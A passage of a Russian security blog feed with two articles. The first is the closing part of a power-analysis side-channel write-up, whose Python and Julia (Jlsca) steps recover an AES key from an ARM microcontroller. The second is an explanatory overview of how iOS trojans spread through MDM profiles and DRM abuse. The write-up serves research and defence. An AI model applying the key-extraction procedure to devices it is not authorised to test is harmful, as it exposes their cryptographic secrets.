  target = open(&amp;#x27;traces/traces{:04}.txt&amp;#x27;.format(i), &amp;#x27;w&amp;#x27;)

  source.readline() # skip header
  for line in source.readlines():
    time, volt = line.split(&amp;#x27;,&amp;#x27;)
    target.write(volt)

  source.close()
  target.close()
&lt;/pre&gt;
  &lt;p&gt;Теперь сольем все файлы вместе:&lt;/p&gt;
  &lt;pre&gt;# Create resulting .trs file
import numpy as npy
import trsfile as trs

TOTAL = 5000

target = trs.trs_open(&amp;#x27;result.trs&amp;#x27;, &amp;#x27;w&amp;#x27;, padding_mode = trs.TracePadding.AUTO)

bytes = open(&amp;#x27;data.bin&amp;#x27;, &amp;#x27;rb&amp;#x27;)

for i in range(TOTAL):
  source = npy.genfromtxt(&amp;#x27;traces/traces{:04}.txt&amp;#x27;.format(i), dtype = float)
  target.append(trs.Trace(trs.SampleCoding.FLOAT, source, data = bytes.read(32)))

bytes.close()
target.close()
&lt;/pre&gt;
  &lt;p&gt;В модуле &lt;code&gt;numpy&lt;/code&gt; уже содержится готовый метод для чтения последовательностей из текстовых файлов, поэтому весь код простой до безобразия. На выходе должен получиться внушительный файл со всеми трассами и парами «открытый текст — шифртекст».&lt;/p&gt;
  &lt;p&gt;Кстати, если будешь повторять это все в macOS, обрати внимание, что модуль &lt;code&gt;trsfile&lt;/code&gt; использует &lt;code&gt;mmap&lt;/code&gt; для работы с файлами &lt;code&gt;.trs&lt;/code&gt;, а операционка Apple не поддерживает изменение размера уже размещенного в памяти файла. Так что скрипт будет постоянно выдавать ошибку. Самый простой вариант — перейти в Linux и собрать файл там, что я и сделал с помощью Ubuntu в виртуалке.&lt;/p&gt;
  &lt;h3&gt;Кто такая Julia&lt;/h3&gt;
  &lt;p&gt;Анализировать полученные данные предстоит с помощью пакета Jlsca. Это еще одна открытая разработка компании Riscure (ты можешь свободно скачать ее &lt;a href=&quot;https://github.com/Riscure/Jlsca&quot; target=&quot;_blank&quot;&gt;на GitHub&lt;/a&gt;). Утилита написана на молодом языке &lt;a href=&quot;https://julialang.org/&quot; target=&quot;_blank&quot;&gt;Julia&lt;/a&gt;, что в теории обещает хорошую производительность при сложных вычислениях и научных расчетах.&lt;/p&gt;
  &lt;p&gt;Аргументы при запуске передаются программе несколько необычным образом — через имя файла. Нужно указать алгоритм, режим шифрования и (опционально) правильный ключ. В моем случае название получилось таким: &lt;code&gt;aes128_sb_ciph_47f1ed9166c996b2f553b147be3fbc20&lt;/code&gt;.&lt;/p&gt;
  &lt;p&gt;Кроме того, раз мы вычисляем &lt;a href=&quot;https://en.wikipedia.org/wiki/Hamming_weight&quot; target=&quot;_blank&quot;&gt;вес Хэмминга&lt;/a&gt; для наших данных, нужно добавить соответствующую строчку в файл &lt;code&gt;main-condavg.jl&lt;/code&gt;.&lt;/p&gt;
  &lt;pre&gt;params.analysis.leakages = [HW()]
&lt;/pre&gt;
  &lt;p&gt;Скрестить ли пальцы на удачу? Вот еще, какие глупости.&lt;/p&gt;
  &lt;pre&gt;$ julia examples/main-condavg.jl aestraces/aes128_sb_ciph_47f1ed9166c996b2f553b147be3fbc20.trs
&lt;/pre&gt;
  &lt;p&gt;Скажу честно, сразу получить правильный результат мне не удалось. Свою первую попытку я испортил тем, что невнимательно прочитал принципиальную схему платы и не удалил все нужные конденсаторы в цепи питания. Мало того, я забыл добавить к трассам наборы «открытый текст — шифртекст». Как итог, программа и близко не смогла угадать ни одного правильного байта в ключе.&lt;/p&gt;
  &lt;p&gt;Второй подход оказался удачнее, но, видимо, мне не хватило размера выборки. Я собрал тысячу осциллограмм с устройства в момент шифрования, и результаты были гораздо лучше — коэффициенты для нужных байтов попали в топ-10, и это обнадеживало. Однако соотношение шумов и полезного сигнала все еще было далеко от идеала.&lt;/p&gt;
  &lt;p&gt;Успешной оказалась лишь третья попытка, но, наверное, и это неплохой результат! Пришлось увеличить массив данных в пять раз, а также пересмотреть схему питания, добавив &lt;a href=&quot;https://www.chipdip.ru/product/ld1117v33&quot; target=&quot;_blank&quot;&gt;внешний регулятор напряжения&lt;/a&gt; на 3,3 В. Не знаю, сыграло это свою роль или нет, но в качестве источника электроэнергии я выбрал не внешний аккумулятор с Li-Pol и импульсным DC/DC-преобразователем, а обычную батарейку на 9 В.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h3&gt;Подводим итоги&lt;/h3&gt;
  &lt;p&gt;Если попытаться описать мои впечатления от проделанной работы одним словом, то, наверное, лучше всего подойдет слово «смешанные». С одной стороны, это было безумно интересно, по ходу дела пришлось решить несколько нетривиальных проблем, разобраться в новых для себя вещах, и в целом о потраченном времени я нисколько не жалею.&lt;/p&gt;
  &lt;p&gt;Более того, стоит признать, что подобные атаки действительно следует рассматривать в числе угроз для безопасности устройства и конфиденциальности пользовательских данных. Конечно, вытащить ключ шифрования с современного микроконтроллера на ядре ARM оказалось не так просто, как в случае с его предком на AVR, да и оборудование для атаки пришлось использовать более дорогое. Но принципиальных отличий, как видишь, оказалось немного.&lt;/p&gt;
  &lt;p&gt;С другой стороны, исследователь из Riscure в своем выступлении заявлял, что сегодня атаки по второстепенным каналам уже могут совершать чуть ли не скрипт-кидди. Не знаю, возможно, он имел в виду изначальный конкурс RHme2, или у них в Европе какие-то другие скрипт-кидди, уровнем существенно выше наших. В любом случае лично у меня общая подготовка к атаке и перенос примера на актуальное железо заняли немало времени.&lt;/p&gt;
  &lt;h3&gt;Дополнительные материалы&lt;/h3&gt;
  &lt;p&gt;Разобрав в деталях существующую угрозу, нельзя не сказать пару слов о способах защиты от нее. Тут я вряд ли придумаю что-то новое, но могу порекомендовать несколько хороших источников, где ты точно найдешь полезную информацию. В первую очередь это сборник рекомендаций компании Riscure для разработчиков и специалистов по безопасности &lt;a href=&quot;https://www.riscure.com/uploads/2017/08/Riscure_Whitepaper_Side_Channel_Patterns.pdf&quot; target=&quot;_blank&quot;&gt;Secure Application Programming&lt;/a&gt;. Кроме того, заслуживает изучения и материал «&lt;a href=&quot;https://bi.zone/ru/research/attacks_on_hardware/&quot; target=&quot;_blank&quot;&gt;Атаки на встраиваемые системы&lt;/a&gt;» компании &lt;a href=&quot;https://bi.zone/ru/&quot; target=&quot;_blank&quot;&gt;BI.Zone&lt;/a&gt;. АВК по энергопотреблению и АМИС по питанию там разобраны достаточно подробно.&lt;/p&gt;
  &lt;h3&gt;Постскриптум&lt;/h3&gt;
  &lt;p&gt;Лично для меня вопрос с подобного рода угрозами еще не закрыт. Во-первых, хотелось бы найти подходящее устройство и провести эксперимент в условиях, максимально приближенных к реальности. Во-вторых, кому нужна программная реализация шифрования, если сегодня во встраиваемых системах вообще и микроконтроллерах в частности появляются &lt;a href=&quot;https://www.st.com/content/ccc/resource/technical/document/user_manual/group0/f9/6e/f2/a2/b4/ec/49/c0/DM00215061/files/DM00215061.pdf/jcr:content/translations/en.DM00215061.pdf&quot; target=&quot;_blank&quot;&gt;аппаратные ускорители&lt;/a&gt; криптографических вычислений?&lt;/p&gt;
  &lt;p&gt;Уязвимы ли они перед такими атаками и насколько это вообще реально с бюджетным оборудованием — подобный момент заслуживает самого внимательного изучения. Во всяком случае, я намереваюсь вернуться к АВК через некоторое время и, возможно, появлюсь с новым материалом. Если, конечно, ты меня не опередишь.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>bureau121:bH4-cgj3</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/bH4-cgj3?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>Вредонос для iOS. Как распространяются трояны для самой закрытой мобильной платформы</title><published>2020-02-16T17:16:00.065Z</published><updated>2020-02-16T17:16:00.065Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/ee/60/ee60f444-1f1f-4788-83f7-d8386bda9807.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/20/99/209934ad-5153-447b-9d09-0f00a15ed4d4.jpeg&quot;&gt;Источник: t.me/Bureau121</summary><content type="html">
  &lt;p&gt;Источник: t.me/Bureau121&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/20/99/209934ad-5153-447b-9d09-0f00a15ed4d4.jpeg&quot; width=&quot;980&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Содержание статьи&lt;/h3&gt;
  &lt;ul&gt;
    &lt;li&gt;Немного теории&lt;/li&gt;
    &lt;li&gt;Шпионские игры&lt;/li&gt;
    &lt;li&gt;Технология MDM&lt;/li&gt;
    &lt;li&gt;Технология DRM&lt;/li&gt;
    &lt;li&gt;Выводы&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Немного теории&lt;/h3&gt;
  &lt;p&gt;Общеизвестный факт: все приложения в iOS выполняются в так называемой песочнице — изолированной среде, из которой они не могут получить непосредственный доступ к компонентам операционной системы и других программ. Это обеспечивает высокую безопасность ОС: при работе в sandbox приложение взаимодействует только с собственными данными и ресурсами, поэтому вредоносной программе попросту негде будет разгуляться.&lt;/p&gt;
  &lt;p&gt;Кроме того, Apple разрешает установку приложений на устройства с iOS только из собственного каталога App Store, куда они попадают после тщательной проверки. «Несчастные» владельцы айфонов лишены даже привычной пользователям Android функции «разрешить установку приложений из неизвестных источников» — если нужной программы нет в App Store, ее, скорее всего, не будет и на твоем смартфоне.&lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p&gt;С другой стороны, подобные жесткие ограничения лишают владельцев «яблочных» девайсов целого ряда полезных возможностей. Если твой айфон относится к устаревшему модельному ряду и его операционная система уже успела «выйти на пенсию», рано или поздно ты столкнешься с полной невозможностью установить или обновить нужную тебе программу через App Store.&lt;/p&gt;
  &lt;p&gt;Однажды твое любимое приложение откажется запускаться, сообщив, что разработчики давным-давно выпустили для него новую версию, которую пора поставить вместо текущей. По нажатию на кнопку «Обновить» запустится программа App Store и радостно сообщит, что для установки новой версии интересующей тебя софтины требуется операционная система посвежее. Наконец, отправившись в раздел «Настройки», ты с удивлением обнаружишь, что на твоем устройстве уже стоит самая актуальная версия iOS, а чтобы использовать более современную, придется сбегать в соседнюю лавку за новым айфоном. Круг замкнулся, как любил говорить один бывший джедай.&lt;/p&gt;
  &lt;p&gt;Выходов из такого тупика существует ровно два. Первый — продать на черном рынке почку и таки купить себе новый телефон с надкусанным яблоком на корпусе, затаив надежду, что он не утратит своей актуальности в течение следующих нескольких лет. Второй путь — джейлбрейк. Под этим непонятным словом подразумевается банальный хак операционки, позволяющий получить не санкционированный производителем телефона доступ к файловой системе, а кроме того, устанавливать приложения из сторонних репозиториев или в некоторых случаях напрямую с компьютера.&lt;/p&gt;
  &lt;p&gt;Джейлбрейк, конечно же, не превратит твой четвертый айфон в десятый и не даст возможности использовать на древнем железе самую последнюю редакцию iOS. Но зато позволит отыскать и установить на смартфон старую версию нужной тебе программы, которая пусть и не сможет похвастаться современным набором функций, но зато будет хотя бы стабильно работать.&lt;/p&gt;
  &lt;p&gt;Существует и еще одна лазейка, позволяющая почти официально устанавливать на айфоны и айпады различный софт в обход App Store. Называется она Mobile Device Management (MDM). Это набор инструментов, дающий возможность управлять устройствами с iOS в корпоративной среде. Используется он, в частности, для установки на «яблочные» девайсы сотрудников фирм различных «внутренних» приложений, не предназначенных для широкого распространения вне компании.&lt;/p&gt;
  &lt;p&gt;Такие программы можно доставлять на устройства с iOS без необходимости загружать их в App Store и проходить мучительную проверку. Очевидно также, что любое приложение на айфон этим способом установить не получится: метод имеет целый ряд естественных ограничений, призванных исключить возможное его использование злоумышленниками.&lt;/p&gt;
  &lt;p&gt;Означает ли все это, что существование вредоносов для iOS невозможно в принципе и пользователи девайсов от Apple могут чувствовать себя в полной безопасности? Нет. Опасные программы для iOS как тот легендарный суслик: не видны, но все-таки есть. Я расскажу о самых известных технологиях распространения такого ПО.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;h3&gt;Шпионские игры&lt;/h3&gt;
  &lt;p&gt;К 2013 году, когда мобильные телефоны производства Apple уже прочно заняли свою нишу на мировом рынке, а в розничной продаже появился iPhone 5s, специалистам по информационной безопасности было известно около 50 шпионских программ для iOS. Практически все они предназначались для аппаратов с джейлбрейком, и практически все распространялись через «пиратский» репозиторий Cydia — альтернативный каталог приложений для взломанных «яблочных» устройств.&lt;/p&gt;
  &lt;p&gt;Пользователь мог обрести шпиона на своем телефоне либо по незнанию (некоторые были представлены в каталоге под вполне нейтральными названиями), либо в результате целенаправленной установки, если какой-то доброжелатель решил, например, помочь неофиту с настройкой девайса.&lt;/p&gt;
  &lt;p&gt;Упомянутые программы обладали вполне традиционным для spyware набором функций: кража SMS и истории звонков, контактов и фотографий, истории браузера, передача GPS-координат. Более продвинутые шпионы фиксировали информацию о совершенных звонках, могли записывать аудио с помощью встроенного микрофона, делать по команде с сервера фотоснимки, копировать сообщения электронной почты и переписку в социальных сетях, которую пользователь вел при помощи приложений-клиентов. Вся информация отсылалась на управляющий сервер, где ее можно было получить в удобной и доступной форме.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/47cd91a5724e8ec7b3359.png&quot; width=&quot;988&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/e25789b8325dfdb9915e7.png&quot; width=&quot;988&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Интерфейс админки шпиона для iOS&lt;br /&gt;&lt;br /&gt;  &lt;/p&gt;
  &lt;p&gt;Такие шпионы не создавали в системе значок приложения. По желанию в них можно было активировать только часть функций, чтобы снизить вероятность обнаружения программы пользователем. Наиболее популярным spyware для iOS в те времена считались SpyBubble, TopSpy, Tracker, OwnSpy, TruSpy и FlexiSpy.&lt;/p&gt;
  &lt;p&gt;Однако все эти приложения никак нельзя было назвать полноценными троянами, поскольку, во-первых, их необходимо было устанавливать на устройство вручную, во-вторых, для этого требовался джейлбрейк и, в-третьих, многие из них продавались в интернете фактически легально в качестве средств родительского контроля или контроля над сотрудниками предприятия.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;h3&gt;Технология MDM&lt;/h3&gt;
  &lt;p&gt;Из-за параноидальных механизмов безопасности, которые Apple применяет в архитектуре своей мобильной ОС, создание полноценных вредоносных программ для этой платформы оказалось делом трудозатратным, однако сюрпризом для специалистов все-таки не стало. Если в iOS нельзя зайти через дверь, можно вломиться через окно — примерно так подумали злоумышленники и для распространения троянов начали применять тот самый механизм дистрибуции приложений MDM с использованием корпоративных сертификатов.&lt;/p&gt;
  &lt;p&gt;Работает это вкратце так. Для начала требуется развернуть специальный MDM-сервер, получить для него сертификат Apple Push Notification Service (APNs-сертификат) и установить его на этом сервере. Затем необходимо создать специальный конфигурационный профиль, фактически представляющий собой видоизмененный .plist-файл, который следует доставить на устройство с iOS. Устройство получает с сервера push-уведомление, устанавливает с сервером TLS-соединение и после проверки сертификата авторизуется на нем.&lt;/p&gt;
  &lt;p&gt;Далее сервер может передать устройству набор настроек (MDM Payload), привязанный к его конфигурационному профилю. При этом MDM-сервер необязательно должен находиться в одной сети с мобильным устройством, достаточно, чтобы он был доступен извне по протоколу HTTPS. В результате с использованием MDM-сервера становится возможным управлять iOS-устройством и устанавливать на него приложения в обход App Store.&lt;/p&gt;
  &lt;p&gt;Все это подразумевает серьезные пляски с бубном, но теоретически открывает лазейку для MITM-атак. С использованием этой технологии вполне можно реализовывать таргетированные «точечные» атаки, что было доказано на практике &lt;a href=&quot;https://xakep.ru/2018/07/16/malicious-mdm/&quot; target=&quot;_blank&quot;&gt;летом 2018 года&lt;/a&gt;. Кроме всего прочего, злоумышленником может оказаться, например, обиженный сотрудник компании, использующей MDM, если он имеет доступ к серверу.&lt;/p&gt;
  &lt;p&gt;Говорят, именно таким способом у одной известной американской фирмы была похищена клиентская база и переписка с контрагентами, которая впоследствии утекла к конкурентам вместе с одним из бывших работников. Кажется, что массовое распространение вредоносов с привлечением технологии MDM организовать невозможно. Однако это не так.&lt;/p&gt;
  &lt;p&gt;С использованием MDM в 2015 году была устроена крупнокалиберная раздача трояна YiSpecter, прятавшегося в клиентском приложении — видеоплеере для просмотра порнухи. Распространялся он преимущественно в Китае под видом форка популярного в этой стране порноплеера QVOD, разработчиков которого в 2014 году накрыла китайская полиция. Следуя инструкции, найденной на просторах интернета, юзеры сами копировали на свой девайс необходимые профили и сертификаты, чтобы получить возможность бесплатно скачивать на телефон коммерческие или «запрещенные» в их стране приложения, за что и поплатились.&lt;/p&gt;
  &lt;p&gt;Кроме того, разработчики трояна организовали целую партнерскую программу, в рамках которой платили по 2,5 юаня за каждую установку протрояненного софта. Предложением тут же воспользовались многочисленные «подвальные» сервис-центры по ремонту айфонов и фирмочки, специализирующиеся на продаже восстановленных «яблочных» устройств, и стали втихаря добавлять в систему благодарным клиентам необходимые компоненты. С паршивой овцы, как говорится, хоть шерсти клок.&lt;/p&gt;
  &lt;p&gt;В результате обладателями айфонов «с сюрпризом» стали тысячи ни о чем не подозревающих китайцев.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/f32493a202e06c1f800f4.png&quot; width=&quot;400&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Так распространялся iOS-троян YiSpecter&lt;br /&gt;&lt;br /&gt;  &lt;/p&gt;
  &lt;p&gt;YiSpecter устанавливал на устройство специальный модуль, который докачивал компоненты вредоноса, если их удаляли, и по команде ботоводов мог втихую удалять с телефона любые программы, заменяя их троянизированными копиями. Нужный софт он получал с собственного MDM-сервера.&lt;/p&gt;
  &lt;p&gt;Пользователь не замечал подвоха, поскольку подмененные трояном клиенты социальных сетей и мессенджеры работали как обычно, время от времени отстукиваясь на управляющий сервер и скидывая туда конфиденциальную информацию, включая переписку и учетные данные жертвы. Кроме всего прочего, трой мог показывать на экране зараженного устройства полноэкранную рекламу, благодаря чему, собственно, и был обнаружен.&lt;/p&gt;
  &lt;p&gt;В общем-то понятно, что таким способом трудно организовать массовое заражение «яблочных» устройств, хотя у китайцев это почти получилось. Важно другое: YiSpecter был одним из первых настоящих вредоносов, способных заразить айфон без джейлбрейка.&lt;/p&gt;
  &lt;p&gt; &lt;/p&gt;
  &lt;h3&gt;Технология DRM&lt;/h3&gt;
  &lt;p&gt;Трояны, не использовавшие для распространения MDM, появились оттуда же, откуда является большинство оригинальных разработок в сфере IT, — из Китая. Здесь сошлись воедино алчное стремление Apple зарабатывать как можно больше на распространении приложений для iOS и непреодолимая страсть некоторых пользователей к халяве.&lt;/p&gt;
  &lt;p&gt;Как известно, приложения для iPhone следует в обязательном порядке приобретать в официальном магазине App Store — по крайней мере, так считают в Apple. Если программа честно куплена на этом ресурсе и числится на аккаунте пользователя, он может установить ее на телефон позже, присоединив последний к компьютеру при помощи шнура USB-Lighting и воспользовавшись программой iTunes.&lt;/p&gt;
  &lt;p&gt;При запуске программа проверит Apple ID пользователя и запросит код авторизации, чтобы убедиться, что устанавливаемое на мобильный девайс приложение было действительно приобретено этим пользователем законным образом. Для этого используется разработанная Apple технология Digital Rights Management (DRM).&lt;/p&gt;
  &lt;p&gt;Для обхода этой проверки хитрые китайцы придумали специальную софтину, которая эмулирует действия iTunes. Купив приложение в App Store, создатели этой программы перехватывают и сохраняют код авторизации при помощи уязвимости в реализации DRM, после чего передают его всем остальным пользователям своего приложения.&lt;/p&gt;
  &lt;p&gt;В результате те получают возможность установить на свой айфон или айпад программу, за которую не платили. Одно из таких приложений носит наименование Aisi.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/38ac7d64250b5483bf0fa.png&quot; width=&quot;1000&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Программа Aisi&lt;br /&gt;&lt;br /&gt;  &lt;/p&gt;
  &lt;p&gt;Aisi позволяет пользователям «яблочных» устройств не только устанавливать нелегальный софт, но и обновлять и создавать резервные копии прошивки, делать джейлбрейк, закачивать на телефон рингтоны и различный мультимедиаконтент.&lt;/p&gt;
  &lt;p&gt;Предварительно китайские вирмейкеры создали и разместили в App Store небольшую утилиту, позволяющую менять обои на устройстве с iOS. Утилита благополучно прошла все проверки Apple, даже несмотря на то, что скрывала в себе одну потенциально опасную функцию, которая активизировалась, правда, при совпадении ряда внешних условий — наверное, потому ее и не заметили.&lt;/p&gt;
  &lt;p&gt;После присоединения девайса к компьютеру и включения режима «доверия» между устройствами Aisi с помощью описанной выше технологии скрытно устанавливала в iOS ту самую утилиту, сообщив девайсу, что она якобы была ранее куплена пользователем в App Store. При запуске приложение требовало ввести данные учетки Apple ID. Эта информация тут же передавалась на управляющий сервер.&lt;/p&gt;
  &lt;p&gt;Дальше, в общем-то, с девайсом можно сотворить много интересного: утечка Apple ID открывает перед потенциальными злоумышленниками массу возможностей. Например, можно сменить пароль, залочить устройство и потребовать у его владельца выкуп за разблокировку. А можно получить доступ к хранилищу iCloud и полюбоваться чужими фотографиями из отпуска. Это в лучшем случае.&lt;/p&gt;
  &lt;h3&gt;Выводы&lt;/h3&gt;
  &lt;p&gt;Несмотря на то что iOS действительно очень защищенная и безопасная операционная система, мы видим, что вирусописатели смогли отыскать лазейки и в ней. Правда, все они без исключения представляют собой тесный симбиоз технических приемов и социальной инженерии. Разработчики вредоносов для айфонов и айпадов работают именно в этом направлении — играя на наивности или алчности владельцев «яблочных» телефонов.&lt;/p&gt;
  &lt;p&gt;Впрочем, интерес к ним неудивителен: считается, что покупатели недешевых телефонов производства корпорации Apple достаточно состоятельны, чтобы у них было чем поживиться. Поэтому пользователям таких устройств нужно проявлять особую бдительность и осторожность: в любой момент они могут оказаться под прицелом злоумышленников, ведь технологии не стоят на месте.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/p&gt;

</content></entry></feed>